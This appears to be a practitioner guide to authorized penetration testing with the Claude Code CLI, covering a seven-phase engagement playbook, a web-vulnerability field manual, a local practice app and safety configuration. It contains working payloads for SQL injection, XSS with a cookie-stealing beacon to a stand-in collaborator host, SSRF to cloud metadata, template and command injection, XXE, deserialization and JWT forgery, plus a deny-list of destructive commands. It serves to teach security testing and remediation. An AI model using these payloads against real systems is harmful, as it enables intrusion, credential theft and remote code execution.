Penetration testing with Claude Code

Security · Codename Klefki

An agentic coding CLI turns out to be a strong security copilot: it drives your scanners, reads source the way a reviewer does, writes proof-of-concept exploits, and drafts the report — all under a permission model you control. This is a field guide plus a seven-phase playbook for using it on engagements you are authorized to run.

Read this first Everything below assumes written authorization for the systems in scope — a signed engagement, a lab you own, or a sanctioned CTF. Running these techniques against systems you don't have permission to test is a crime in most jurisdictions. The legal responsibility is yours, not the tool's. Claude Code is built to assist authorized security work and refuse malicious use; treat that guardrail as a floor, not a substitute for your own scope.
7phases, recon → report
3permission modes to gate risk
CLI tools it can orchestrate
1built-in /security-review

0What Claude Code actually is, to a pentester

Strip away the "coding assistant" framing and Claude Code is a terminal agent: a model that can read files, run shell commands, search the web, edit code, and loop on the output of its own actions. That loop — observe, decide, run a tool, read the result, decide again — is exactly the shape of a penetration test. The difference from a human tester is throughput and recall; the difference from a scanner is judgment.

Three of its native abilities map directly onto offensive work:

What keeps it safe to point at real systems is that every risky action runs through a permission layer you configure. Nothing touches a host without either your standing allow-list or an explicit approval. That layer is the whole reason this is usable on an engagement rather than a liability.

1Where it's strong, and where it isn't

Suitability varies a lot by phase. The honest picture — strongest at reading code and writing reports, deliberately weakest at anything resembling autonomous, destructive, or out-of-scope action:

TaskFitWhy
Code & vuln analysisVery highReading a tree and reasoning source → sink is its core competency; catches logic bugs scanners miss.
ReportingVery highConsistent findings, CVSS, repro steps, remediation. The biggest raw time-saver of the whole engagement.
Passive reconHighOrchestrates OSINT tools, dedupes, resolves, fingerprints, and summarizes an attack surface.
Active scanningHighDrives scanners and, crucially, triages their output into what's worth a human's time.
ExploitationMediumGreat at single-step PoCs; multi-stage chains still need a human to steer. Verify every claim.
Scoping & ROEMediumReads and enforces a scope doc well, but authorization and boundaries are your responsibility.
Post-exploitationLow–medIntentionally constrained — it resists mass, persistent, or destructive actions by design.

Rule of thumb: lean on it hardest for the reading and writing halves of the job (analysis, triage, reporting) and keep a firm hand on the acting half (exploitation, anything that changes state on a target).

The playbook

2The engagement, phase by phase

A pentest is a pipeline. Below is the same pipeline with Claude Code slotted into each stage — its job, the tools it drives, and a copy-paste prompt to start from. Click a phase.

Scopeauthorize
Reconpassive
Enumerateactive
Analyzefind bugs
Exploitprove it
Post-eximpact
Reportwrite up

Phase 0 · Scope & rules of engagement

Goal: make the assistant scope-aware before a single tool runs.

Put the rules of engagement where Claude reads them every session — a SCOPE.md or the project's CLAUDE.md. Then harden the permission layer so out-of-scope or destructive commands can't run even by accident (see §3). The model should be able to recite the in-scope ranges and refuse anything outside them.

Session bootstrap prompt
prompt
Rules of engagement for this session (also in SCOPE.md):
- In scope:  *.acme-lab.example  and  10.10.0.0/24
- Out of scope: everything else, especially prod-pay.acme.example
- No denial-of-service, no destructive writes, no data exfiltration
  beyond the minimum needed to prove a finding.
Before running anything, confirm the target is in scope. If a task would
touch anything out of scope, refuse and tell me why.
What it produces

A working context that self-checks scope, plus a paper trail: ask it to keep an engagement log (notes.md) of every command it runs and why. That log becomes your reporting appendix and your evidence of staying in bounds.

Phase 1 · Reconnaissance (passive)

Goal: map the attack surface without hammering the target.

Claude chains passive OSINT tools and collapses the output into one deduplicated picture: subdomains, live hosts, technologies, and anything interesting leaking in public.

  • Surface: subfinder, amass (passive), certificate transparency via crt.sh.
  • Resolve & fingerprint: dnsx, httpx (-title -tech-detect -status-code), gowitness for screenshots.
  • Leaks: gitleaks/trufflehog over cloned public repos; GitHub dorking via web search.
Prompt
prompt
We're authorized to test acme-lab.example (scope in SCOPE.md). Do PASSIVE
recon only: enumerate subdomains with subfinder + amass passive sources,
pull crt.sh, resolve live hosts with dnsx, then fingerprint with httpx
(-title -tech-detect -status-code). Give me a deduped table of live hosts
sorted by how interesting the tech stack is. Don't run active scanners yet.

Phase 2 · Enumeration & scanning (active)

Goal: active discovery of services, endpoints, and parameters — and triage.

This is where Claude's parsing shines. Scanners emit walls of text; the model turns them into a ranked worklist and cross-references versions against known CVEs.

  • Ports/services: nmap -sV -sC, parse the XML into a table.
  • Content & params: ffuf/gobuster for directories, arjun for hidden parameters, API spec parsing.
  • Templated checks: nuclei against the live set, then de-duplicate and prioritize.
Terminal + prompt
shell
# Claude proposes, you approve, it runs and parses:
nmap -sV -sC -oX scan.xml -iL hosts.txt --top-ports 1000
nuclei -l live.txt -severity medium,high,critical -o nuclei.txt
prompt
Run an nmap service/version scan on hosts.txt (top 1000 ports), parse
scan.xml, and give me a table of open services with version -> any known
CVEs (search to confirm the version is actually affected, don't guess).
Flag anything unauthenticated or clearly outdated for follow-up.

Phase 3 · Vulnerability analysis

Goal: turn surface into concrete, ranked hypotheses. This is the model's best phase.

If you have source (white-box, or you pulled it), point Claude at the tree and let it read. It traces tainted input from every HTTP handler to dangerous sinks — SQL, shell, file paths, templates, deserialization — and reasons about auth and access-control logic that signature scanners walk right past. Pair it with semgrep, trivy, and a dependency audit so the deterministic tools catch the known patterns and the model catches the logic.

Prompt (white-box)
prompt
This is the source for the in-scope app. Act as an application-security
reviewer. Trace user input from the HTTP handlers to any sink (SQL, shell,
file path, template render, deserialization). List candidate issues with
file:line, the tainted variable, the path from source to sink, and why it
might be exploitable. Rank by confidence. Then run semgrep and reconcile
its hits with yours.

Black-box? Same idea against behavior instead of code: feed it responses, headers, and error messages and ask it to hypothesize where auth, IDOR, or injection likely live, then design the tests to confirm.

Phase 4 · Exploitation (authorized PoC)

Goal: prove impact with the smallest possible demonstration — then stop.

Claude writes the proof-of-concept and iterates it against a target you control: a Python requests script, a curl chain, a crafted payload. Confirm SQLi with sqlmap; replay and mutate requests through the Burp Suite MCP server so the model can drive an intercepting proxy directly. The discipline that matters here is minimalism: prove access, capture evidence, do not escalate for its own sake.

Prompt
prompt
/api/orders looks vulnerable to IDOR -- order_id isn't scoped to the
session user. Write a minimal Python PoC (requests) that logs in as our
test user A and reads test user B's order, printing only enough to prove
cross-account access. Read-only, non-destructive, stop at proof. Save the
request/response as evidence for the report.
Verify everything The model will occasionally report a vulnerability that isn't real, or a PoC that "works" against a mocked assumption. A finding isn't a finding until you've watched the exploit reproduce against the live target. Treat its confidence as a lead, never as proof.

Phase 5 · Post-exploitation (scoped)

Goal: demonstrate business impact within the rules of engagement — nothing more.

Show the one pivot that proves why the finding matters — the privilege you gained, the data class you could reach — and collect evidence. This is deliberately the phase Claude is least eager to help with: it resists persistence, backdoors, mass credential harvesting, exfiltration, and detection-evasion, because those are the hallmarks of the malicious use it's built to refuse. For authorized work you generally don't want them either — a single clean impact demonstration beats a rampage through the environment, and keeps you inside scope.

Prompt
prompt
We proved admin access on the staging box (in scope, per SCOPE.md). Help me
document the impact WITHOUT persistence or lateral spread: enumerate what
this role can reach, identify the single most business-critical asset it
exposes, and capture proof for the report. No new accounts, no backdoors,
no data pulled beyond a redacted screenshot.

Phase 6 · Reporting

Goal: turn a messy session into a client-ready deliverable. The other very-high-fit phase.

Hand Claude your notes and evidence; it produces structured findings — title, CVSS 3.1 vector and score, affected asset, numbered reproduction, evidence reference, business impact, and a code-level remediation — deduplicated and sorted by severity. What used to be an evening of copy-paste becomes a draft you edit. Keep a human in the loop on severity calls and on any claim that reaches the executive summary.

Prompt
prompt
Turn the confirmed findings in notes.md into a client report. For each:
title, CVSS 3.1 vector + score, affected asset, step-by-step reproduction,
evidence reference, business impact, and a remediation with a concrete
code-level fix. Merge duplicates, sort by severity, and open with a
two-paragraph executive summary a non-technical reader can follow. Markdown.

Each phase's prompt assumes the scope from Phase 0 is loaded. The value compounds: by Phase 6 the model already holds the whole engagement in context, so the report writes itself from what it did rather than from what you re-explain.

Breaking websites

3The web attacker's field manual

This is the applied core: the vulnerability classes that actually get web apps popped, each with how you get Claude Code to find it, how you exploit it, the payloads that prove it, and the fix. The workflow underneath all of them is the same — proxy the app's traffic through Burp (via its MCP server) or a local mitmproxy, and let Claude read, mutate, and replay requests while reasoning about the responses. It's a tester who never gets bored of the 2,000th request.

Mindset. Every input is a question the server answers honestly if you phrase it right: a query string, a header, a cookie, a JSON field, a filename, a JWT claim, a Host: line. Claude's job is to enumerate those inputs, form a hypothesis about how each is used server-side, and craft the one payload that confirms it. Yours is to point it at a target you're allowed to break and to verify every hit by hand.
1 · SQL injectionCritical · RCE-capable

User input reaches a SQL query unescaped — read/modify the whole database, bypass login, sometimes execute OS commands.

Find it with Claude Code
prompt
Grep the backend for string-built SQL (f-strings, concatenation, .format
into a query, raw exec). For every hit, show file:line, the tainted param,
and the route that reaches it. Then, for each GET/POST param in requests.txt,
test error/boolean/time-based SQLi and tell me which respond.
Exploit — payloads
payloads
# auth bypass
' OR '1'='1' --
# column count + data exfil
' ORDER BY 5-- -          # find column count
' UNION SELECT null,username,password,null,null FROM users-- -
# boolean-blind (compare true vs false response)
' AND 1=1-- -   vs   ' AND 1=2-- -
# time-blind (5s delay == injectable)
' OR SLEEP(5)-- -                    # MySQL
'; WAITFOR DELAY '0:0:5'--           # MSSQL
Confirm & automate
shell
sqlmap -u "https://t/item?id=1" --batch --dbs --risk 2 --level 3
# Claude reads sqlmap's dump, pulls the hashes, and hands them
# to hashcat, then explains which accounts cracked.

Fix: parameterized queries / prepared statements; least-privilege DB user; never concatenate input into SQL.

2 · Cross-site scripting (XSS)High · account takeover

Your markup executes in a victim's browser — steal sessions, keylog, pivot to full account takeover. Reflected (in the response), stored (persisted), or DOM (client-side sink).

Find it with Claude Code
prompt
Grep the frontend for DOM sinks: innerHTML, outerHTML, document.write,
insertAdjacentHTML, dangerouslySetInnerHTML, eval, and jQuery .html().
Trace which read from location.hash/search, postMessage, or server data.
Separately, reflect a canary (zqxj) through every input and report where it
lands unencoded in the HTML, an attribute, or a script context.
Exploit — payloads by context
payloads
# HTML body
<script>alert(document.domain)</script>
# breaks out of an attribute
"><img src=x onerror=alert(1)>
# javascript: URI sink (href/src)
javascript:alert(1)
# session-steal PoC (authorized lab, your collaborator host)
<img src=x onerror="new Image().src='//COLLAB/?c='+document.cookie">

Claude fingerprints the app's encoding/filter, then mutates the payload until one survives (case-swap, event-handler variants, HTML-entity or unicode escapes, breaking the parser with <svg>/<math>).

Fix: contextual output encoding, framework auto-escaping, a strict Content-Security-Policy, HttpOnly cookies so script can't read them.

3 · Broken access control & IDORHigh · mass data exposure

The single most common serious web bug: the server trusts the client about who or what you may access. Read other users' data, escalate to admin, invoke actions not meant for you.

Exploit patterns Claude automates
  • IDOR: increment/replace object IDs (/api/orders/10011002), swap UUIDs, try another tenant's ID.
  • Forced browsing: hit /admin, /api/internal/* directly as a low-priv user.
  • Method / verb tampering: a blocked DELETE that works as POST with X-HTTP-Method-Override.
  • Mass assignment: add "role":"admin" or "isVerified":true to the JSON body.
prompt
Log in as low-priv user A (creds in env). For every object-referencing
endpoint in the OpenAPI spec, replay it substituting user B's IDs and also
with no auth header. Diff the responses and flag any that return B's data
or a 200 where you'd expect 403. Then retry each write with an extra
"role":"admin" field and report which are honored.

Fix: enforce authorization server-side on every object, per request; deny by default; never derive identity from a client-supplied ID.

4 · Authentication & session flawsHigh · takeover

Weak login, tokens, or resets. JWT confusion, crackable secrets, predictable reset links, no rate limiting, OAuth redirect abuse.

JWT attacks Claude walks through
jwt
# decode, then try alg:none (drop the signature)
header={"alg":"none","typ":"JWT"}  payload={"user":"admin"}  sig=(empty)
# or brute a weak HS256 secret
hashcat -m 16500 jwt.txt rockyou.txt
# then re-sign with the cracked key and set role=admin

Other angles Claude scripts (against an authorized lab): credential stuffing with a wordlist where there's no lockout, enumerating valid users from differing error messages/timing, brute-forcing 6-digit reset codes with no rate limit, and testing whether a password-reset token is time- or counter-predictable.

Fix: pin the JWT algorithm to an allowlist and verify it; long random secrets; rate limiting + lockout; constant-time comparisons; single-use, high-entropy, expiring reset tokens.

5 · Server-side request forgery (SSRF)Critical · cloud pivot

Make the server fetch a URL you choose — reach internal services, and on cloud hosts, steal instance credentials from the metadata endpoint.

Where to look, and the payloads
payloads
# any param that fetches a URL: webhooks, image/PDF proxies, "import from URL"
http://169.254.169.254/latest/meta-data/iam/security-credentials/   # AWS
http://metadata.google.internal/computeMetadata/v1/   # GCP (needs header)
http://localhost:6379/                    # internal Redis, etc.
# filter bypasses
http://0x7f000001/  http://2130706433/  http://[::1]/  http://127.0.0.1.nip.io/
prompt
Find every parameter that causes the server to make an outbound request.
For each, test the cloud metadata IP and localhost with the bypasses above,
watching response time and body for a difference. If AWS metadata responds,
pull the IAM role creds -- read-only, capture as evidence, do not use them.

Fix: allowlist outbound hosts, block link-local/private ranges, require IMDSv2, never fetch a raw user-supplied URL.

6 · Template injection (SSTI) & command injectionCritical · RCE

Both end in remote code execution. SSTI: input rendered as a server template. Command injection: input reaches a shell.

SSTI — detect then escalate
ssti
# probe: does 49 come back?
${7*7}   {{7*7}}   <%= 7*7 %>   #{7*7}
# Jinja2 (Python) RCE gadget once confirmed
{{ cycler.__init__.__globals__.os.popen('id').read() }}
Command injection — payloads
cmdi
; id     | id     $(id)     `id`     && id
# blind: confirm via delay or out-of-band DNS
; sleep 5     ; nslookup $(whoami).COLLAB

Claude fingerprints the template engine from how the 7*7 probe behaves, then builds the engine-specific gadget; for cmdi it greps for os.system, subprocess(..., shell=True), child_process.exec, backticks, and traces input to them, then crafts a filter bypass ($IFS, quotes, encoding).

Fix: never render user input as a template; sandbox engines; avoid the shell entirely, pass arguments as an array, allowlist values.

7 · Path traversal, LFI & file uploadHigh · RCE-capable

Read files outside the intended directory, include local files, or upload a shell.

payloads
# traversal / LFI
../../../../etc/passwd        ..%2f..%2f..%2fetc%2fpasswd
php://filter/convert.base64-encode/resource=index.php   # leak source
# upload bypasses to drop a webshell
shell.php.jpg     shell.phtml     Content-Type: image/png (spoofed)
# LFI -> RCE via log poisoning: put PHP in User-Agent, include the log

Claude finds file/path params, fuzzes traversal depth with ffuf, and chains LFI to RCE (log poisoning, php:// wrappers, session files).

Fix: canonicalize and allowlist paths, store uploads outside the webroot, validate type by content not extension, randomize stored filenames.

8 · XXE & insecure deserializationCritical · RCE / file read

XML parsers that resolve external entities leak files and enable SSRF; deserializing untrusted data hands over code execution through gadget chains.

xxe
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<r>&xxe;</r>
# blind: point SYSTEM at an external DTD on your COLLAB host for OOB exfil
deserialization
# spot the format by magic bytes: rO0AB... = Java, O:8 = PHP, gASV = pickle
java -jar ysoserial.jar CommonsCollections1 'id' | base64
# drop that into the cookie/param that gets deserialized

Claude recognizes serialized blobs by their magic bytes, picks a gadget chain that fits the libraries on the classpath, and builds the payload.

Fix: disable DTDs/external entities; don't deserialize untrusted data — or restrict to signed, allowlisted types.

9 · CSRF, business logic & race conditionsMedium–High · fraud

The bugs scanners miss because they require understanding what the app means. Claude is unusually good here because it reasons about intent, not just syntax.

  • CSRF: a state-changing request with no anti-CSRF token or SameSite cookie — Claude generates an auto-submitting PoC page.
  • Logic: negative quantities for a refund, reusing a one-time coupon, tampering the price field, skipping a checkout step, promoting yourself via a "team invite" flow.
  • Race / TOCTOU: fire N parallel requests to redeem one gift card or withdraw one balance twice (single-packet / last-byte-sync).
prompt
Read the checkout and wallet flows. List every invariant the server assumes
the client will respect (price >= 0, coupon used once, balance checked before
debit). For each, design the request sequence that violates it, and write a
script that sends 20 concurrent debit requests to test for a double-spend race.

Fix: anti-CSRF tokens + SameSite; validate every invariant server-side; atomic, locked, idempotent operations for anything touching money or stock.

10 · Exposed secrets & misconfigurationVaries · instant win

Often the fastest path in — nobody had to be tricked, something was just left open.

  • Exposed .git/: reconstruct the whole source with git-dumper, then read it for more bugs.
  • Leaked .env / backups: ffuf for .env, .bak, config.php~, db.sql.
  • Cloud storage: world-readable/writable S3 buckets and blobs.
  • CORS: Access-Control-Allow-Origin reflecting any origin with credentials.
  • Subdomain takeover: a dangling CNAME to an unclaimed service.
  • Default / weak creds and verbose stack traces that hand you the stack.
prompt
Fuzz each host for .git/HEAD, .env, .DS_Store, backup and archive files.
If .git is exposed, dump and reconstruct the source, then scan it for
secrets and hardcoded credentials. Test CORS by sending Origin: evil.example
and reporting any ACAO reflection with Allow-Credentials: true.

Fix: keep VCS metadata, dotfiles, and backups out of the webroot; lock down bucket ACLs; strict CORS allowlist; rotate any leaked secret; disable verbose errors in prod.

None of these are novel — they're the OWASP staples, which is the point: the value Claude adds isn't inventing exploits, it's covering the entire surface fast and never skipping the tedious check that turns out to matter.

4The practice target: VulnShop

Reading about payloads only gets you so far — you need something to break. This report ships a runnable one. VulnShop is a ~150-line Flask app in lab/vulnshop.py that wires up every class in the field manual as a real, exploitable endpoint. It binds to 127.0.0.1, so the target is a machine you own and testing it is authorized by definition.

run the lab
pip install flask
python3 lab/vulnshop.py
# serving http://127.0.0.1:5000/  -- open it for the endpoint index
# then point Claude Code at the target (proxied through Burp/mitmproxy)
How to use it. Open a Claude Code session in the lab/ folder, give it the §2 Phase-0 scope prompt (in scope: 127.0.0.1:5000), and walk the field manual top to bottom — /search, then /login, then /api/orders, and so on. Because the source is right there, try it both black-box (only the running app) and white-box (let it read vulnshop.py first) and watch how much faster the white-box pass is.

Walking the manual against VulnShop

Every payload below is one that was run against the shipped app; the "What you get" column is the actual response.

ClassEndpointPayloadWhat you get
1 SQLi (exfil)GET /search?q=x' UNION SELECT username,password FROM users-- -admin:S3cur3P@ss!, alice:alice123, bob:hunter2
1 SQLi (bypass)POST /loginusername=admin' -- logged in as admin; a JWT cookie is issued
2 Reflected XSSGET /search?q=<script>alert(1)</script>reflected unencoded — script runs
2 Stored XSSPOST /reviewscomment=<script>steal()</script>persisted; fires for every visitor
3 IDORGET /api/orders/1003(no auth header)the admin's $500 order, unauthenticated
4 JWT forgeGET /admincookie token = {"alg":"none"}, role=adminAdmin panel — flag{jwt_forged_or_cracked}
5 SSRFGET /avatar?url=http://127.0.0.1:5000/internal/credsAccessKeyId: AKIAFAKE from an "internal-only" route
6 SSTI → RCEGET /greet?name={{7*7}} then a Jinja2 os.popen('id') gadget49, then live command output
6 Cmd injectionGET /ping?host=127.0.0.1;iduid=501(…) gid=20(staff)…
7 Path traversalGET /download?file=../flag.txtflag{path_traversal_ok} — outside the files dir
8 DeserializationGET /prefsa prefs cookie = base64 pickle with __reduce__arbitrary command executes on load
9 Mass assignmentPOST /profilerole=adminyour own account is promoted to admin
10 Exposed secretsGET /.env(just request it)JWT_SECRET=s3cr3t, DB and AWS keys

Notice class 10 feeds class 4: the leaked JWT_SECRET=s3cr3t is exactly the key you need to forge the admin token by signature instead of the alg:none trick. That's the point of doing them in one sitting — findings compose.

Chaining it into a full compromise

The real lesson is the handoffs. Here each finding feeds the next, the way an actual session runs:

Reconread source
SQLidump users
Secret/.env leak
JWTforge admin
SSRFcloud creds
SSTIshell
engagement log vs. VulnShop (real payloads)
[recon]  read vulnshop.py: /search concat SQL, /avatar fetches any url,
         /greet renders a template, /.env is served, JWT secret is weak
[sqli]   /search?q=x' UNION SELECT username,password FROM users-- -
         -> admin:S3cur3P@ss!  alice:alice123  bob:hunter2
[secret] GET /.env -> JWT_SECRET=s3cr3t   (or forge with alg:none)
[authz]  signed JWT {role:admin} -> GET /admin -> flag{jwt_forged...}
[ssrf]   /avatar?url=http://127.0.0.1:5000/internal/creds -> AKIAFAKE
[rce]    /greet?name={{ cycler.__init__.__globals__.os.popen('id')... }}
         -> uid=501(...) gid=20(staff)   # code execution
[report] Claude writes all findings up with CVSS, repro, and fixes

Reading vulnshop.py first meant Claude knew which parameters to hit, so it never fuzzed blind; it spotted the SSRF and SSTI in the same pass it found the SQLi, because reading-for-bugs is one pass, not three. A human does all of this too — just not in one uninterrupted afternoon, and not while keeping the report current at the same time.

The line that matters VulnShop is yours, on localhost. The exact same session against a system you don't have permission to test is a computer-crime offense — the technique is identical, only the authorization differs, and the authorization is the whole thing.
Deployed targets

5Advanced: hitting a deployed target

VulnShop was localhost with the source in your hand. The next rung is a real, hosted app you're authorized to test — a PortSwigger Web Security Academy lab, a hosted Juice Shop, a Hack The Box / TryHackMe box, or an in-scope bug-bounty asset. The vulnerability classes are the same five (1 SQLi, 2 XSS, 3 access control, 4 auth/JWT, 6 SSTI/RCE), but they show up in their blind, filtered, and hardened forms. What changes is discipline more than technique.

These are authorized targets. Academy labs are explicitly yours to break; a bounty program's scope is your written authorization. That's the whole reason this section can exist — it never points an exploit at a non-consenting site. Read the program rules and stay inside them.

What changes off localhost

DimensionVulnShop (localhost)Deployed lab / in-scope target
Sourcefull white-box, read the codeblack-box — infer behavior from responses
Feedbackinstant, verbose errorssilent, blind, rate-limited, maybe a WAF
Exfildata right in the responseoften out-of-band (OAST callback)
Verifyre-read the codebehavioral only — higher false-positive risk
Blast radiusnonereal infra: throttle, never DoS, capture evidence

The two pieces of kit that make this work: put a proxy in the middle (Burp Suite via its MCP server, or mitmproxy) so Claude reads, mutates, and replays the real browser traffic; and stand up an OAST endpoint (Burp Collaborator or interactsh) so blind bugs have somewhere to phone home. Then work the five classes in their advanced forms.

1 · Blind & out-of-band SQLino output? no problem

Hosted apps rarely echo SQL errors, so the UNION trick from VulnShop won't show anything. You extract data one inference at a time, or force the database itself to call home.

payloads
# boolean-blind: true vs false changes the page, 1 bit per request
' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a'-- -
# time-blind: a 5s delay means "true"
' AND IF(1=1,SLEEP(5),0)-- -
# out-of-band (OAST): DB makes a DNS/HTTP callback carrying the data
'; exec master..xp_dirtree '//'+(SELECT TOP 1 pw FROM users)+'.oast.example/'--
prompt
The id param at /product?id= is blind SQLi (page differs on ' AND 1=1 vs 1=2).
Write an extraction oracle that binary-searches each character of the current
DB user, one request at a time, with a 300ms delay between requests. If that's
too slow, switch to an OOB payload against my Collaborator domain instead.

Or hand it to sqlmap -u "...?id=1" --technique=BT --dbms=... --level 4 and let Claude interpret the dump. Fix: parameterized queries, as always.

2 · DOM XSS, blind XSS & CSP bypassclient-side

Framework-built apps auto-escape server-side, so the bug moves into the JavaScript and behind a Content-Security-Policy.

  • DOM XSS: a source (location.hash, postMessage, document.referrer) flows to a sink (innerHTML, eval, setAttribute) entirely in the browser. Claude fetches and beautifies the minified bundle and traces source → sink.
  • Blind XSS: your payload fires later in an admin view you never see — deliver a beacon to an OOB collector and wait for the callback.
  • CSP bypass: find an allowlisted-but-abusable origin (a JSONP endpoint, unsafe-eval, a missing base-uri). Claude reads the CSP header and tells you which payload survives it.
prompt
Fetch this app's JS bundles, beautify them, and map every DOM source
(location.*, postMessage, referrer) to every sink (innerHTML, eval,
document.write). Flag the attacker-controllable paths. Then read the CSP
response header and tell me whether any XSS payload survives it, and how.

Fix: safe DOM APIs (textContent), a strict CSP with no unsafe-*, trusted-types.

3 · Layered access control & IDORauthz logic

The obvious incrementing-ID IDOR is usually patched on a mature app. The surviving bugs are subtler, and this is exactly where Claude's ability to model a whole flow across many requests pays off.

  • Unpredictable IDs that leak elsewhere: a GUID you can't guess — but it appears in another response, an email, or a Referer.
  • Multi-step / state-machine flaws: authorization checked on step 1 of a wizard but not step 3.
  • Header/location-based: access gated by a Referer or X-Forwarded-For you fully control.
prompt
Crawl the app as low-priv user A and map every multi-step flow (checkout,
account, admin wizards). For each object reference, tell me where the ID comes
from and whether authorization is re-checked at EVERY step, not just the first.
Then propose the exact request sequence that reaches user B's data.

Fix: re-authorize every object on every request and every step; deny by default.

4 · JWT algorithm confusion & header injectiontoken forgery

VulnShop fell to alg:none; a hardened app needs sharper tricks.

  • RS256 → HS256 confusion: if the server accepts either, sign a forged token with its public key used as the HMAC secret — a signature it'll happily verify.
  • jwk/jku/kid injection: smuggle your own key in the header, point jku at a JWKS you host, or abuse kid with path traversal / SQLi to a key you control.
  • Weak secret: crack HS256 offline — hashcat -m 16500 jwt.txt rockyou.txt.
tooling
jwt_tool eyJ... -X k   # key-confusion attack (needs the public key)
jwt_tool eyJ... -X i -pk pubkey.pem  # jwk header injection
prompt
Decode this JWT and its headers. Tell me which forgery class the server is
likely vulnerable to (alg:none, RS256->HS256 confusion, jwk/jku/kid injection,
or a crackable secret), then drive jwt_tool to produce a token with role=admin
and confirm it against /admin.

Fix: pin the algorithm, verify against a fixed key, ignore attacker-supplied jwk/jku/kid, use a long random secret.

6 · SSTI: fingerprint → sandbox escape (incl. blind)RCE

Deployed apps hide which template engine they use and often sandbox it, so you fingerprint first, then reach for the escape documented for that engine.

fingerprint tree
# narrow the engine by which probe evaluates
{{7*7}}   -> 49  : Jinja2 / Twig      ${7*7} -> 49 : Freemarker / Velocity
{{7*'7'}} -> 7777777 : Jinja2         #{7*7} -> 49 : Ruby ERB-ish
# then the engine-specific RCE gadget, e.g. Freemarker:
${"freemarker.template.utility.Execute"?new()("id")}
prompt
The name field renders server-side. Run the SSTI fingerprint probes and tell me
the engine from the responses. Then give me the documented sandbox-escape gadget
for that engine to run `id`. If nothing reflects, it may be blind -- switch to a
gadget that makes an HTTP callback to my Collaborator domain to confirm RCE.

Fix: never render user input as a template; use a logic-less engine; sandbox and patch it.

The verification loop matters more here

Off localhost you can't re-read the source to confirm a hit, and blind results lie: a WAF delay or a flaky endpoint can look exactly like time-based SQLi. So make Claude try to disprove its own findings before you believe them — the find-then-refute pattern from the advanced menu:

prompt
For each candidate finding, act as a skeptic: re-run it 5x, control for network
latency (compare against a benign request of similar size), and for anything
"blind" require that the OOB callback actually landed in the interaction log.
Report only the findings that survive, with the evidence that convinced you.

Running the refutation as a separate subagent (or a parallel pass) is even better — a fresh context isn't invested in the original claim, so it's a harsher critic.

Deployed-target discipline Throttle your requests and never test availability (no DoS, no load testing) unless the scope explicitly allows it. Stay on the documented in-scope hosts. Capture request/response pairs as evidence rather than hoarding data. Honor the program's safe-harbor terms — on Academy labs this is free practice; on a bounty target it's the difference between a payout and a prosecution.

Good places to practice, all authorized: the PortSwigger Web Security Academy (free, mapped to exactly these classes), OWASP Juice Shop, Hack The Box, TryHackMe, and — once you're fluent — a bug-bounty program on HackerOne, Bugcrowd, or Intigriti, tested strictly within its scope.

Running engagements

6Setup: making it safe and repeatable

Four pieces of configuration turn the generic CLI into a purpose-built, guard-railed pentest rig.

Permission modes — your primary safety control

Claude Code gates tool use through modes you switch between: default (prompts before each new command), plan mode (reads and reasons, runs nothing — ideal for the analysis phase), and accept-edits for trusted loops. There is also a bypass mode (--dangerously-skip-permissions); on live targets, don't — the prompts are the seatbelt. Encode standing rules in .claude/settings.json:

.claude/settings.json
{
  "permissions": {
    "allow": [
      "Bash(nmap:*)", "Bash(httpx:*)", "Bash(nuclei:*)",
      "Bash(ffuf:*)", "Bash(subfinder:*)"
    ],
    "deny": [
      "Bash(rm:*)", "Bash(dd:*)", "Bash(curl:* prod-pay.acme.example*)",
      "Read(./client-data/**)"
    ]
  }
}

Allow-list the recon tooling so it runs without friction; deny-list destructive commands and out-of-scope hosts so they can't run at all. The deny list wins over the allow list.

A custom slash command for your methodology

Drop a Markdown file in .claude/commands/ and it becomes a reusable /command. Bake your recon flow in once:

.claude/commands/recon.md
# Passive recon on $ARGUMENTS, honoring SCOPE.md.
# Enumerate subdomains, resolve live hosts, fingerprint,
# and output a deduped table. Passive sources only.

Now /recon acme-lab.example runs the whole Phase 1 flow. Do the same for enumeration, analysis, and reporting to standardize an engagement across a team.

Subagents and MCP

Define a specialized subagent in .claude/agents/ — say an appsec-reviewer that only reads code and reports findings — and the main agent delegates the Phase 3 sweep to it, keeping analysis isolated from anything that acts. Connect tools over MCP (claude mcp add …): PortSwigger ships a Burp Suite MCP server, so Claude can drive an intercepting proxy; you can wire in your own scanners or a findings database the same way.

The defensive mirror: /security-review

The same engine plays defense. Claude Code ships a /security-review command that audits your own pending diff for injection, auth, secrets, and crypto mistakes; Anthropic open-sourced the equivalent GitHub Action so it runs on every pull request. The cheapest pentest finding is the one caught before it ever ships — run the offensive playbook against staging and this against the codebase, and the two halves close the loop.

7Guardrails: what it will and won't do

Claude Code is deliberately dual-use-aware. It assists authorized penetration testing, CTF challenges, security research, and defensive work. It refuses the things that characterize malicious intent regardless of how they're framed:

Supported (with authorization context)Refused
Scanning, enumeration, PoC exploits on in-scope targetsAttacks on systems you can't show authorization for
Reading code to find and fix vulnerabilitiesDenial-of-service and destructive payloads
Writing and explaining exploit techniques for a lab/CTFMass-targeting, worms, and self-propagating code
Drafting findings, remediation, detectionsRansomware, credential harvesting, supply-chain implants
Building dual-use tooling for a stated engagementDetection-evasion / anti-forensics for malicious ends

The practical consequence: give it the context it needs to help you legitimately. State the engagement, point at the scope doc, and it engages as a copilot. Ask for something that looks like real-world harm with no authorization and it declines. That boundary is a feature — it's what lets the tool exist in this space at all — but it is not your compliance program. Scope, authorization, and the law are still yours to get right.

8What it can't do

The one-screen checklist

Before you start an engagement. Tap to tick off — kept in your browser only.